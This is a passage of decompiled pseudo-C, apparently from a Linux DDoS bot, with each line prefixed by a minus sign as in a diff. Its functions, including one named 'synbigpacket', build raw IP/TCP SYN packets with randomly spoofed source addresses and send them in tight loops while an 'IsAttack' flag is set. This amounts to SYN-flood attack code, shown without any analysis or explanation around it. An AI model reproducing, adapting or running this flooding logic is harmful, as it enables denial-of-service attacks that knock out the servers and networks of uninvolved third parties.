- _v684 = _t2406 - (_v684 << 16) - _v684;
- *__esp = _v684 & 65535 & 65535;
- _t1968 = L08075240(__esp);
- _t1969 = _v48;
- *((short*)(_t1969 + 14)) = _t1968;
- L0805EBE0();
- _t2407 = _t1969;
- _v700 = -2147450879;
- _t2342 = ((_v700 * _t2407 >> 32) + _t2407 >> 15) - (_t2407 >> 31);
- _v680 = _t2342;
- _v680 = _t2407 - (_v680 << 16) - _v680;
- *_v48 = _v680 & 65535;
- _t1980 = _v84 - _v88;
- _v28 = _t1980;
- if(_v28 <= 0) {
- goto L65;
- } else {
- L0805EBE0();
- _v24 = _t1980 % _v28 + _v88;
- L0806F850(_t2342, _t2674, __esi, &_v260, 0, 20);
- _v2112 = _v24 & 255;
- _v2116 = _v24 >> 8 & 255;
- _v2120 = _v24 >> 16 & 255;
- L0805FF50( &_v260, "%d.%d.%d.%d", _v24 >> 24);
- _t1997 = L08073B40( &_v260);
- (_v52[0xc]) = _t1997;
- L0806F850(_v24 >> 16 & 255, _t2674, __esi, &_v644, 0, 128);
- L0806F9E0(_t2674, __esi, &_v644, &(_v52[0xc]), 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[2]), &(_v52[0x10]), 4);
- _v636 = 0;
- _v635 = (_v52[9]) & 255;
- _v634 = _v56 >> 8;
- _v633 = _v56;
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[6]), _v48, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[0x10]), _v44, 8);
- _t2025 = csum( &_v644, _v56 + 12);
- *(_v48 + 16) = _t2025;
- __esi = &_v660;
- _t2028 = (_v52[2]) & 65535;
- _t2342 = _t2028 & 65535;
- L0805EBE0();
- _v2112 = 16;
- _v2116 = __esi;
- _v2120 = 0;
- _v2124 = _t2342 + _t2028 % _v68;
- _t1946 = L08052C20(__esi, _v76, &_v516);
- _v32 = _v32 + 1;
- continue;
- }
- goto L65;
- }
- }
- }
- }
- }
- L65:
- L08052A50(_v76);
- _t1386 = L08051050();
- L08051000(_t1386);
- *__esp = 0;
- L08050FE0();
- goto L66;
- L66:
- _push(_t2689);
- _t2690 = __esp;
- _push(_t2342);
- __esp = __esp - 692;
- L0806F910( &_v2348, 156);
- L0806F9E0(_t2674, __esi, &_v2348, _v2128, 156);
- _v2190 = 16;
- _v2828 = 16;
- _t1393 = &_v2768;
- *__esp = _t1393;
- L0806F910();
- _v2824 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v2188 = _t1393;
- _v2768 = 2;
- _t1395 = &_v2348 + 16;
- L08075250(_t1395);
- _v2184 = _t1395;
- if(_v2184 != 0) {
- _t1750 = L0806E4D0( &((char*)( &_v228)[4]), "0.0.0.0");
- if(_t1750 == 0) {
- } else {
- _v60 = 0;
- _v60 = _v216;
- if(_v60 <= 0 || _v60 > 86400) {
- _v60 = 20;
- }
- _v644 = *( *(_v64[0x10]));
- _v56 = 20;
- _v52 = &_v504;
- _v48 = &_v504 + 20;
- _v44 = &_v504 + 40;
- *_v52 = *_v52 & 255 & 240 | 5;
- *_v52 = *_v52 & 255 & 15 | 64;
- (_v52[1]) = 0;
- (_v52[2]) = 60;
- *__esp = 31337;
- _t1769 = L08075240(__esp);
- (_v52[4]) = _t1769;
- (_v52[6]) = 0;
- (_v52[8]) = 250;
- (_v52[9]) = 6;
- (_v52[0xa]) = 0;
- (_v52[0x10]) = _v644;
- *__esp = _v84 & 65535;
- _t1778 = L08075240(__esp);
- *((short*)(_v48 + 2)) = _t1778;
- *__esp = 31337;
- _t1780 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 4)) = _t1780;
- *__esp = 0;
- _t1782 = L08075230(__esp);
- *((intOrPtr*)(_v48 + 8)) = _t1782;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 240;
- *(_v48 + 12) = *(_v48 + 12) & 255 & 15 | 160;
- *(_v48 + 13) = _v70 & 65535;
- *__esp = 57344;
- _t1791 = L08075240(__esp);
- *((short*)(_v48 + 14)) = _t1791;
- *(_v48 + 16) = 0;
- *(_v48 + 18) = 0;
- if((_v56 & 3) != 0) {
- _v56 = (_v56 + (_v56 >> 31 >> 30) & 3) - (_v56 >> 31 >> 30) + 1 << 2;
- }
- _v56 = 40;
- _v652 = 1;
- _v40 = &_v652;
- _v2816 = 4;
- _v2820 = _v40;
- _v2824 = 3;
- _v2828 = 0;
- _t1799 = _v68;
- *__esp = _t1799;
- L08073640(_t2342, __esp);
- if(_t1799 >= 0) {
- } else {
- _v36 = 0;
- while(1) {
- _t1800 = IsAttack;
- if(_t1800 == 0) {
- break;
- }
- _v32 = 0;
- while(_v32 <= 999) {
- L0805EBE0();
- _t2397 = _t1800;
- _v680 = -2147450879;
- _v672 = ((_v680 * _t2397 >> 32) + _t2397 >> 15) - (_t2397 >> 31);
- _v672 = _t2397 - (_v672 << 16) - _v672;
- *__esp = _v672;
- _t1810 = L08075230(__esp);
- _t1811 = _v48;
- *((intOrPtr*)(_t1811 + 4)) = _t1810;
- L0805EBE0();
- _t2398 = _t1811;
- _v680 = -2147450879;
- _v668 = ((_v680 * _t2398 >> 32) + _t2398 >> 15) - (_t2398 >> 31);
- _v668 = _t2398 - (_v668 << 16) - _v668;
- *__esp = _v668 & 65535 & 65535;
- _t1822 = L08075240(__esp);
- _t1823 = _v48;
- *((short*)(_t1823 + 14)) = _t1822;
- L0805EBE0();
- _t2399 = _t1823;
- _v680 = -2147450879;
- _t2342 = ((_v680 * _t2399 >> 32) + _t2399 >> 15) - (_t2399 >> 31);
- _v664 = _t2342;
- _v664 = _t2399 - (_v664 << 16) - _v664;
- *_v48 = _v664 & 65535;
- _t1834 = _v76 - _v80;
- _v28 = _t1834;
- if(_v28 <= 0) {
- goto L86;
- } else {
- L0805EBE0();
- _v24 = _t1834 % _v28 + _v80;
- L0806F850(_t2342, _t2674, __esi, &_v248, 0, 20);
- _t2342 = _v24 >> 16 & 255;
- _v2812 = _v24 & 255;
- _v2816 = _v24 >> 8 & 255;
- _v2820 = _t2342;
- L0805FF50( &_v248, "%d.%d.%d.%d", _v24 >> 24);
- _t1851 = L08073B40( &_v248);
- (_v52[0xc]) = _t1851;
- L0806F850(_t2342, _t2674, __esi, &_v632, 0, 128);
- L0806F9E0(_t2674, __esi, &_v632, &(_v52[0xc]), 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[2]), &(_v52[0x10]), 4);
- _v624 = 0;
- _v623 = (_v52[9]) & 255;
- _v622 = _v56 >> 8;
- _v621 = _v56;
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[6]), _v48, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v632)[0x10]), _v44, 8);
- _t1879 = csum( &_v632, _v56 + 12);
- *(_v48 + 16) = _t1879;
- _v2812 = 16;
- _v2816 = &_v648;
- _v2820 = 0;
- _v2824 = (_v52[2]) & 65535 & 65535;
- _t1800 = L08052C20(__esi, _v68, &_v504);
- _v32 = _v32 + 1;
- continue;
- }
- goto L86;
- }
- }
- }
- }
- }
- L86:
- L08052A50(_v68);
- _t1398 = L08051050();
- L08051000(_t1398);
- *__esp = 0;
- L08050FE0();
- goto L87;
- L87:
- _push(_t2690);
- _t2691 = __esp;
- _push(_t2674);
- _push(__esi);
- _push(_t2342);
- __esp = __esp - 700;
- L0806F910( &_v3056, 156);
- L0806F9E0(_t2674, __esi, &_v3056, _v2828, 156);
- _v2898 = 16;
- _v3544 = 16;
- _t1405 = &_v3476;
- *__esp = _t1405;
- L0806F910();
- _v3540 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v2896 = _t1405;
- _v3476 = 2;
- _t1407 = &_v3056 + 16;
- L08075250(_t1407);
- _v2892 = _t1407;
- if(_v2892 != 0) {
- _t1597 = L0806E4D0( &_v240 + 16, "0.0.0.0");
- if(_t1597 == 0) {
- } else {
- _v72 = 0;
- _v72 = _v228;
- if(_v72 <= 0 || _v72 > 86400) {
- _v72 = 20;
- }
- _v656 = *( *( *(_v76 + 16)));
- _v68 = 20;
- _v64 = &_v516;
- _v60 = &_v516 + 20;
- _v56 = &_v516 + 40;
- *_v64 = *_v64 & 255 & 240 | 5;
- *_v64 = *_v64 & 255 & 15 | 64;
- (_v64[1]) = 0;
- (_v64[2]) = 60;
- *__esp = 31337;
- _t1616 = L08075240(__esp);
- (_v64[4]) = _t1616;
- (_v64[6]) = 0;
- (_v64[8]) = 250;
- (_v64[9]) = 6;
- (_v64[0xa]) = 0;
- (_v64[0x10]) = _v656;
- *__esp = _v96 & 65535;
- _t1625 = L08075240(__esp);
- *((short*)(_v60 + 2)) = _t1625;
- *__esp = 31337;
- _t1627 = L08075230(__esp);
- *((intOrPtr*)(_v60 + 4)) = _t1627;
- *__esp = 0;
- _t1629 = L08075230(__esp);
- *((intOrPtr*)(_v60 + 8)) = _t1629;
- *(_v60 + 12) = *(_v60 + 12) & 255 & 240;
- *(_v60 + 12) = *(_v60 + 12) & 255 & 15 | 160;
- *(_v60 + 13) = _v82 & 65535;
- *__esp = 57344;
- _t1638 = L08075240(__esp);
- *((short*)(_v60 + 14)) = _t1638;
- *((short*)(_v60 + 16)) = 0;
- *(_v60 + 18) = 0;
- if((_v68 & 3) != 0) {
- _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
- }
- _v68 = 40;
- _v664 = 1;
- _v52 = &_v664;
- _v3532 = 4;
- _v3536 = _v52;
- _v3540 = 3;
- _v3544 = 0;
- _t1646 = _v80;
- *__esp = _t1646;
- L08073640(_t2342, __esp);
- if(_t1646 >= 0) {
- } else {
- _v48 = 0;
- while(1) {
- _t1647 = IsAttack;
- if(_t1647 == 0) {
- break;
- }
- _v44 = 0;
- while(_v44 <= 999) {
- L0805EBE0();
- _t2387 = _t1647;
- _v696 = -2147450879;
- _v688 = ((_v696 * _t2387 >> 32) + _t2387 >> 15) - (_t2387 >> 31);
- _v688 = _t2387 - (_v688 << 16) - _v688;
- *__esp = _v688;
- _t1657 = L08075230(__esp);
- _t1658 = _v60;
- *((intOrPtr*)(_t1658 + 4)) = _t1657;
- L0805EBE0();
- _t2388 = _t1658;
- _v696 = -2147450879;
- _v684 = ((_v696 * _t2388 >> 32) + _t2388 >> 15) - (_t2388 >> 31);
- _v684 = _t2388 - (_v684 << 16) - _v684;
- *__esp = _v684 & 65535 & 65535;
- _t1669 = L08075240(__esp);
- _t1670 = _v60;
- *((short*)(_t1670 + 14)) = _t1669;
- L0805EBE0();
- _t2389 = _t1670;
- _v696 = -2147450879;
- _t2342 = ((_v696 * _t2389 >> 32) + _t2389 >> 15) - (_t2389 >> 31);
- _v680 = _t2342;
- _t2674 = _t2389 - (_v680 << 16) - _v680;
- _v680 = _t2389 - (_v680 << 16) - _v680;
- *_v60 = _v680 & 65535;
- _t1681 = _v88 - _v92;
- _v40 = _t1681;
- if(_v40 <= 0) {
- goto L107;
- } else {
- L0805EBE0();
- _v36 = _t1681 % _v40 + _v92;
- L0806F850(_t2342, _t2674, __esi, &_v260, 0, 20);
- _v3528 = _v36 & 255;
- _v3532 = _v36 >> 8 & 255;
- _v3536 = _v36 >> 16 & 255;
- L0805FF50( &_v260, "%d.%d.%d.%d", _v36 >> 24);
- _t1698 = L08073B40( &_v260);
- (_v64[0xc]) = _t1698;
- L0806F850(_v36 >> 16 & 255, _t2674, __esi, &_v644, 0, 128);
- L0806F9E0(_t2674, __esi, &_v644, &(_v64[0xc]), 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[2]), &(_v64[0x10]), 4);
- _v636 = 0;
- _v635 = (_v64[9]) & 255;
- _v634 = _v68 >> 8;
- _v633 = _v68;
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[6]), _v60, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v644)[0x10]), _v56, 8);
- _t1726 = csum( &_v644, _v68 + 12);
- *((short*)(_v60 + 16)) = _t1726;
- _t2342 = &_v660;
- _t1729 = (_v64[2]) & 65535;
- __esi = _t1729 & 65535;
- L0805EBE0();
- _t2393 = _t1729;
- _v696 = -1600085855;
- _t2508 = _v696 * _t2393 >> 32;
- _t1734 = _t2393 >> 31;
- _t2674 = (_t2508 + _t2393 >> 7) - _t1734;
- _v676 = (_t2508 + _t2393 >> 7) - _t1734;
- _v676 = _t2393 - _t1734 * _v676;
- _v3528 = 16;
- _v3532 = _t2342;
- _v3536 = 0;
- _v3540 = __esi + _v676 + 800;
- _t1647 = L08052C20(__esi, _v80, &_v516);
- _v44 = _v44 + 1;
- continue;
- }
- goto L107;
- }
- }
- }
- }
- }
- L107:
- L08052A50(_v80);
- _t1410 = L08051050();
- L08051000(_t1410);
- *__esp = 0;
- L08050FE0();
- goto L108;
- L108:
- _push(_t2691);
- _t2692 = __esp;
- _push(__esi);
- _push(_t2342);
- __esp = __esp - 704;
- L0806F910( &_v3780, 160);
- L0806F9E0(_t2674, __esi, &_v3780, _v3544, 160);
- _v3618 = 16;
- _v4260 = 16;
- _t1417 = &_v4200;
- *__esp = _t1417;
- L0806F910();
- _v4256 = 6;
- L08073680(_t2342, __esp, 2, 3);
- _v3616 = _t1417;
- _v4200 = 2;
- _v3612 = _v3768;
- if(_v3612 <= 60 || _v84 > 800) {
- _v84 = 61;
- }
- _v80 = _v84 - 60;
- _t1422 = &_v252 + 20;
- L08075250(_t1422);
- _v76 = _t1422;
- if(_v76 != 0) {
- _t1448 = L0806E4D0( &_v252 + 20, "0.0.0.0");
- if(_t1448 == 0) {
- } else {
- _v72 = 0;
- _v72 = _v236;
- if(_v72 <= 0 || _v72 > 86400) {
- _v72 = 20;
- }
- _v668 = *( *( *(_v76 + 16)));
- _v68 = 20;
- _v64 = &_v528;
- _v60 = &_v528 + 20;
- _v56 = &_v528 + 40;
- *_v64 = *_v64 & 255 & 240 | 5;
- *_v64 = *_v64 & 255 & 15 | 64;
- (_v64[1]) = 0;
- (_v64[2]) = 60;
- *__esp = 31337;
- _t1467 = L08075240(__esp);
- (_v64[4]) = _t1467;
- (_v64[6]) = 0;
- (_v64[8]) = 250;
- (_v64[9]) = 6;
- (_v64[0xa]) = 0;
- (_v64[0x10]) = _v668;
- *__esp = _v104 & 65535;
- _t1476 = L08075240(__esp);
- *((short*)(_v60 + 2)) = _t1476;
- *__esp = 31337;
- _t1478 = L08075230(__esp);
- *((intOrPtr*)(_v60 + 4)) = _t1478;
- *__esp = 0;
- _t1480 = L08075230(__esp);
- *((intOrPtr*)(_v60 + 8)) = _t1480;
- *(_v60 + 12) = *(_v60 + 12) & 255 & 240;
- *(_v60 + 12) = *(_v60 + 12) & 255 & 15 | 160;
- *(_v60 + 13) = _v90 & 65535;
- *__esp = 57344;
- _t1489 = L08075240(__esp);
- *((short*)(_v60 + 14)) = _t1489;
- *((short*)(_v60 + 16)) = 0;
- *(_v60 + 18) = 0;
- if((_v68 & 3) != 0) {
- _v68 = (_v68 + (_v68 >> 31 >> 30) & 3) - (_v68 >> 31 >> 30) + 1 << 2;
- }
- _v68 = 40;
- _v676 = 1;
- _v52 = &_v676;
- _v4248 = 4;
- _v4252 = _v52;
- _v4256 = 3;
- _v4260 = 0;
- _t1497 = _v88;
- *__esp = _t1497;
- L08073640(_t2342, __esp);
- if(_t1497 >= 0) {
- } else {
- _v48 = 0;
- while(1) {
- _t1498 = IsAttack;
- if(_t1498 == 0) {
- break;
- }
- _v44 = 0;
- while(_v44 <= 999) {
- L0805EBE0();
- _t2379 = _t1498;
- _v712 = -2147450879;
- _v700 = ((_v712 * _t2379 >> 32) + _t2379 >> 15) - (_t2379 >> 31);
- _v700 = _t2379 - (_v700 << 16) - _v700;
- *__esp = _v700;
- _t1508 = L08075230(__esp);
- _t1509 = _v60;
- *((intOrPtr*)(_t1509 + 4)) = _t1508;
- L0805EBE0();
- _t2380 = _t1509;
- _v712 = -2147450879;
- _v696 = ((_v712 * _t2380 >> 32) + _t2380 >> 15) - (_t2380 >> 31);
- _v696 = _t2380 - (_v696 << 16) - _v696;
- *__esp = _v696 & 65535 & 65535;
- _t1520 = L08075240(__esp);
- _t1521 = _v60;
- *((short*)(_t1521 + 14)) = _t1520;
- L0805EBE0();
- _t2381 = _t1521;
- _v712 = -2147450879;
- _t2457 = _v712 * _t2381 >> 32;
- _t2348 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
- _v692 = (_t2457 + _t2381 >> 15) - (_t2381 >> 31);
- _v692 = _t2381 - (_v692 << 16) - _v692;
- *_v60 = _v692 & 65535;
- _t1532 = _v96 - _v100;
- _v40 = _t1532;
- if(_v40 <= 0) {
- goto L131;
- } else {
- L0805EBE0();
- _v36 = _t1532 % _v40 + _v100;
- L0806F850(_t2348, _t2674, __esi, &_v272, 0, 20);
- _v4244 = _v36 & 255;
- _v4248 = _v36 >> 8 & 255;
- _v4252 = _v36 >> 16 & 255;
- L0805FF50( &_v272, "%d.%d.%d.%d", _v36 >> 24);
- _t1549 = L08073B40( &_v272);
- (_v64[0xc]) = _t1549;
- L0806F850(_v36 >> 16 & 255, _t2674, __esi, &_v656, 0, 128);
- L0806F9E0(_t2674, __esi, &_v656, &(_v64[0xc]), 4);
- L0806F9E0(_t2674, __esi, &((char*)( &_v656)[2]), &(_v64[0x10]), 4);
- _v648 = 0;
- _v647 = (_v64[9]) & 255;
- _v646 = _v68 >> 8;
- _v645 = _v68;
- L0806F9E0(_t2674, __esi, &((char*)( &_v656)[6]), _v60, 20);
- L0806F9E0(_t2674, __esi, &((char*)( &_v656)[0x10]), _v56, 8);
- _t1577 = csum( &_v656, _v68 + 12);
- *(_v60 + 16) = _t1577;
- __esi = &_v672;
- L0805EBE0();
- _v4244 = 16;
- _v4248 = __esi;
- _v4252 = 0;
- _v4256 = ((_v64[2]) & 65535 & 65535) + ((_v64[2]) & 65535) % _v80;
- _t1498 = L08052C20(__esi, _v88, &_v528);
- _v44 = _v44 + 1;
- continue;
- }
- goto L131;
- }
- }
- }
- }
- }
- L131:
- L08052A50(_v88);
- _t1425 = L08051050();
- L08051000(_t1425);
- *__esp = 0;
- L08050FE0();
- goto L132;
- L132:
- _push(_t2692);
- __esp = __esp - 16;
- _v4280 = _v4256;
- _v4276 = _v4260;
- _v4272 = 0;
- _v4282 = 0;
- while(_v40 > 1) {
- _v32 = _v32 + ( *_v36 & 65535 & 65535);
- _v36 = _v36 + 2;
- _v40 = _v40 - 2;
- }
- }
- int synbigpacket(_Unknown_base* ThreadData)
- {// addr = 0x0804A285
- SYNPACKET SynObj;
- short int tcp_flags;
- char[19] szNewIP;
- char[255] szPackData;
- char[127] pheader;
- struct sockaddr_in servaddr;
- int hSockft;
- struct hostent* szhost;
- int nTime;
- int tcphdr_size;
- struct ip* iph;
- struct tcphdr* tcph;
- struct tcp_options* tcpopt;
- int one;
- const int* val;
- int looptime;
- int aa;
- int ShamBase;
- int dwNewIP;
- signed int _v20;
- signed int _v24;
- signed int _v28;
- signed int _v32;
- signed int _v36;
- _unknown_ _v38;
- signed int _v40;
- signed int _v44;
- char* _v48;
- unsigned int _v52;
- signed int _v56;
- signed char* _v60;
- unsigned int _v64;
- signed int _v66;
- unsigned int _v68;
- signed int _v72;
- signed short _v74;
- signed int _v76;
- signed short _v78;
- signed int _v80;
- signed int _v84;
- signed short _v86;
- signed int _v88;
- signed int _v92;
- intOrPtr _v96;
- signed int _v100;
- signed int _v212;
- signed int _v220;
- unsigned int _v224;
- unsigned int _v232;
- char _v236;
- char _v244;
- char _v248;
- char _v256;
- char _v268;
- char _v500;
- char _v512;
- char _v524;
- unsigned int _v617;
- unsigned short _v618;
- signed int _v619;
- signed int _v620;
- short unsigned int _v628;
- unsigned int _v629;
- unsigned short _v630;
- signed int _v631;
- signed int _v632;
- short unsigned int _v640;
- unsigned int _v641;
- unsigned short _v642;
- signed int _v643;
- signed int _v644;
- char _v648;
- short unsigned int _v652;
- char _v656;
- char _v660;
- signed int _v664;
- char _v668;
- char _v672;
- signed int _v676;
- signed int _v680;
- signed int _v684;
- signed short _v688;
- signed short _v692;
- signed int _v696;
- signed int _v700;
- signed int _v704;
- signed int _v708;
- signed int _v712;
- intOrPtr _v780;
- signed int _v784;
- signed short _v786;
- intOrPtr _v936;
- char _v948;
- signed short _v1368;
- signed int _v1412;
- signed int _v1416;
- signed int _v1420;
- signed int _v1424;
- signed int _v1428;
- intOrPtr _v1484;
- signed int _v1488;
- signed int _v1490;
- char _v1648;
- signed short _v2068;
- signed int _v2112;
- signed int _v2116;
- signed int _v2120;
- signed int _v2124;
- signed int _v2128;
- intOrPtr _v2192;
- signed int _v2196;
- signed int _v2198;
- char _v2356;
- signed short _v2776;
- signed int _v2828;
- signed int _v2832;
- signed int _v2836;
- signed char _v2840;
- signed int _v2844;
- intOrPtr _v2912;
- signed int _v2916;
- signed int _v2918;
- intOrPtr _v3068;
- char _v3080;
- signed short _v3500;
- signed int _v3544;
- signed int _v3548;
- signed int _v3552;
- signed char _v3556;
- signed int _v3560;
- signed int _v3572;
- signed int _v3576;
- signed char _v3580;
- signed int _v3582;
- _unknown_ r6;
- _unknown_ _t1142;
- unsigned int _t1143;
- signed char* _t1145;
- _unknown_ _t1147;
- _unknown_ _t1148;
- _unknown_ _t1149;
- _unknown_ _t1150;
- _unknown_ _t1154;
- signed int _t1155;
- signed char* _t1160;
- _unknown_ _t1162;
- _unknown_ _t1163;
- _unknown_ _t1164;
- _unknown_ _t1165;
- _unknown_ _t1169;
- signed int _t1170;
- intOrPtr _t1172;
- _unknown_ _t1174;
- _unknown_ _t1175;
- _unknown_ _t1176;
- _unknown_ _t1177;
- _unknown_ _t1181;
- signed int _t1182;
- intOrPtr _t1184;
- _unknown_ _t1186;
- _unknown_ _t1187;
- _unknown_ _t1188;
- _unknown_ _t1189;
- _unknown_ _t1193;
- signed int _t1194;
- signed int _t1199;
- _unknown_ _t1201;
- _unknown_ _t1202;
- _unknown_ _t1203;
- _unknown_ _t1204;
- _unknown_ _t1225;
- signed char _t1244;
- short _t1253;
- intOrPtr _t1255;
- intOrPtr _t1257;
- short _t1266;
- signed int _t1274;
- signed int _t1275;
- _unknown_ _t1277;
- intOrPtr _t1285;
- signed int _t1286;
- _unknown_ _t1288;
- short _t1297;
- signed int _t1298;
- _unknown_ _t1300;
- signed int _t1309;
- _unknown_ _t1311;
- _unknown_ _t1316;
- signed char _t1326;
- _unknown_ _t1329;
- _unknown_ _t1333;
- _unknown_ _t1338;
- _unknown_ _t1347;
- _unknown_ _t1351;
- short unsigned int _t1354;
- _unknown_ _t1359;
- _unknown_ _t1374;
- signed char _t1393;
- short _t1402;
- intOrPtr _t1404;
- intOrPtr _t1406;
- short _t1415;
- signed int _t1423;
- signed int _t1424;
- _unknown_ _t1426;
- intOrPtr _t1434;
- signed int _t1435;
- _unknown_ _t1437;
- short _t1446;
- signed int _t1447;
- _unknown_ _t1449;
- signed int _t1458;
- _unknown_ _t1460;
- _unknown_ _t1465;
- signed char _t1475;
- _unknown_ _t1478;
- _unknown_ _t1482;
- _unknown_ _t1487;
- _unknown_ _t1496;
- _unknown_ _t1500;
- short unsigned int _t1503;
- signed int _t1506;
- _unknown_ _t1508;
- signed int _t1511;
- _unknown_ _t1527;
- char _t1546;
- short _t1555;
- intOrPtr _t1557;
- intOrPtr _t1559;
- short _t1568;
- signed int _t1576;
- signed int _t1577;
- _unknown_ _t1579;
- intOrPtr _t1587;
- signed int _t1588;
- _unknown_ _t1590;
- short _t1599;
- signed int _t1600;
- _unknown_ _t1602;
- signed int _t1611;
- _unknown_ _t1613;
- _unknown_ _t1618;
- char _t1628;
- _unknown_ _t1631;
- _unknown_ _t1635;
- _unknown_ _t1640;
- _unknown_ _t1649;
- _unknown_ _t1653;
- short unsigned int _t1656;
- _unknown_ _t1673;
- char _t1692;
- short _t1701;
- intOrPtr _t1703;
- intOrPtr _t1705;
- short _t1714;
- signed int _t1722;
- signed int _t1723;
- _unknown_ _t1725;
- intOrPtr _t1733;
- signed int _t1734;
- _unknown_ _t1736;
- short _t1745;
- signed int _t1746;
- _unknown_ _t1748;
- signed int _t1757;
- _unknown_ _t1759;
- _unknown_ _t1764;
- char _t1774;
- _unknown_ _t1777;
- _unknown_ _t1781;
- _unknown_ _t1786;
- _unknown_ _t1795;
- _unknown_ _t1799;
- short unsigned int _t1802;
- signed int _t1805;
- _unknown_ _t1807;
- _unknown_ _t1822;
- char _t1841;
- short _t1850;
- intOrPtr _t1852;
- intOrPtr _t1854;
- short _t1863;
- signed int _t1871;
- signed int _t1872;
- _unknown_ _t1874;
- intOrPtr _t1882;
- signed int _t1883;
- _unknown_ _t1885;
- short _t1894;
- signed int _t1895;
- _unknown_ _t1897;
- signed int _t1906;
- _unknown_ _t1908;
- _unknown_ _t1913;
- char _t1923;
- _unknown_ _t1926;
- _unknown_ _t1930;
- _unknown_ _t1935;
- _unknown_ _t1944;
- _unknown_ _t1948;
- short unsigned int _t1951;
- signed int _t1954;
- _unknown_ _t1956;
- signed int _t1959;
- signed int _t1973;
- signed int _t2005;
- signed int _t2006;
- signed int _t2007;
- signed int _t2013;
- signed int _t2014;
- signed int _t2015;
- signed int _t2019;
- signed int _t2023;
- signed int _t2024;
- signed int _t2025;
- signed int _t2031;
- signed int _t2032;
- signed int _t2033;
- signed int _t2039;
- signed int _t2040;
- signed int _t2041;
- signed int _t2045;
- signed int _t2075;
- _unknown_ _t2083;
- _unknown_ _t2091;
- _unknown_ _t2119;
- signed int _t2126;
- _unknown_ _t2163;
- _unknown_ _t2203;
- _unknown_ _t2211;
- _unknown_ _t2239;
- _unknown_ _t2265;
- signed int* _t2266;
- signed int* _t2267;
- signed int* _t2268;
- signed int* _t2269;
- _unknown_ _t2270;
- _push(_t2252);
- _push(__esi);
- _push(_t1973);
- __esp = __esp - 700;
- L0806F910( &_v224, 156);
- L0806F9E0(_t2252, __esi, &_v224, ThreadData, 156);
- _v66 = 2;
- _v712 = 16;
- _t1143 = &_v644;
- *__esp = _t1143;
- L0806F910();
- _v708 = 6;
- L08073680(_t1973, __esp, 2, 3);
- _v64 = _t1143;
- _v644 = 2;
- _t1145 = &((char*)( &_v224)[4]);
- L08075250(_t1145);
- _v60 = _t1145;
- if(_v60 != 0) {
- _t1822 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
- if(_t1822 == 0) {
- } else {
- _v56 = 0;
- _v56 = _v212;
- if(_v56 <= 0 || _v56 > 86400) {
- _v56 = 20;
- }
- _v640 = *( *(_v60[0x10]));
- _v52 = 20;
- _v48 = &_v500;
- _v44 = &_v500 + 20;
- _v40 = &_v500 + 40;
- *_v48 = *_v48 & 255 & 240 | 5;
- *_v48 = *_v48 & 255 & 15 | 64;
- (_v48[1]) = 0;
- (_v48[2]) = 60;
- *__esp = 31337;
- _t1841 = L08075240(__esp);
- (_v48[4]) = _t1841;
- (_v48[6]) = 0;
- (_v48[8]) = 250;
- (_v48[9]) = 6;
- (_v48[0xa]) = 0;
- (_v48[0x10]) = _v640;
- *__esp = _v80 & 65535;
- _t1850 = L08075240(__esp);
- *((short*)(_v44 + 2)) = _t1850;
- *__esp = 31337;
- _t1852 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 4)) = _t1852;
- *__esp = 0;
- _t1854 = L08075230(__esp);
- *((intOrPtr*)(_v44 + 8)) = _t1854;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 240;
- *(_v44 + 12) = *(_v44 + 12) & 255 & 15 | 160;
- *(_v44 + 13) = _v66 & 65535;
- *__esp = 57344;
- _t1863 = L08075240(__esp);
- *((short*)(_v44 + 14)) = _t1863;
- *(_v44 + 16) = 0;
- *(_v44 + 18) = 0;
- if((_v52 & 3) != 0) {
- _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
- }
- _v52 = 40;
- _v648 = 1;
- _v36 = &_v648;
- _v700 = 4;
- _v704 = _v36;
- _v708 = 3;
- _v712 = 0;
- _t1871 = _v64;
- *__esp = _t1871;
- L08073640(_t1973, __esp);
- if(_t1871 >= 0) {
- } else {
- _v32 = 0;
- while(1) {
- _t1872 = IsAttack;
- if(_t1872 == 0) {
- break;
- }
- _v28 = 0;
- while(_v28 <= 999) {
- L0805EBE0();
- _t2039 = _t1872;
- _v680 = -2147450879;
- _v672 = ((_v680 * _t2039 >> 32) + _t2039 >> 15) - (_t2039 >> 31);
- _v672 = _t2039 - (_v672 << 16) - _v672;
- *__esp = _v672;
- _t1882 = L08075230(__esp);
- _t1883 = _v44;
- *((intOrPtr*)(_t1883 + 4)) = _t1882;
- L0805EBE0();
- _t2040 = _t1883;
- _v680 = -2147450879;
- _v668 = ((_v680 * _t2040 >> 32) + _t2040 >> 15) - (_t2040 >> 31);
- _v668 = _t2040 - (_v668 << 16) - _v668;
- *__esp = _v668 & 65535 & 65535;
- _t1894 = L08075240(__esp);
- _t1895 = _v44;
- *((short*)(_t1895 + 14)) = _t1894;
- L0805EBE0();
- _t2041 = _t1895;
- _v680 = -2147450879;
- _t1973 = ((_v680 * _t2041 >> 32) + _t2041 >> 15) - (_t2041 >> 31);
- _v664 = _t1973;
- _t2252 = _t2041 - (_v664 << 16) - _v664;
- _v664 = _t2252;
- *_v44 = _v664 & 65535;
- _t1906 = _v72 - _v76;
- _v24 = _t1906;
- if(_v24 <= 0) {
- goto L20;
- } else {
- L0805EBE0();
- _v20 = _t1906 % _v24 + _v76;
- L0806F850(_t1973, _t2252, __esi, &_v244, 0, 20);
- _v696 = _v20 & 255;
- _v700 = _v20 >> 8 & 255;
- _v704 = _v20 >> 16 & 255;
- L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
- _t1923 = L08073B40( &_v244);
- (_v48[0xc]) = _t1923;
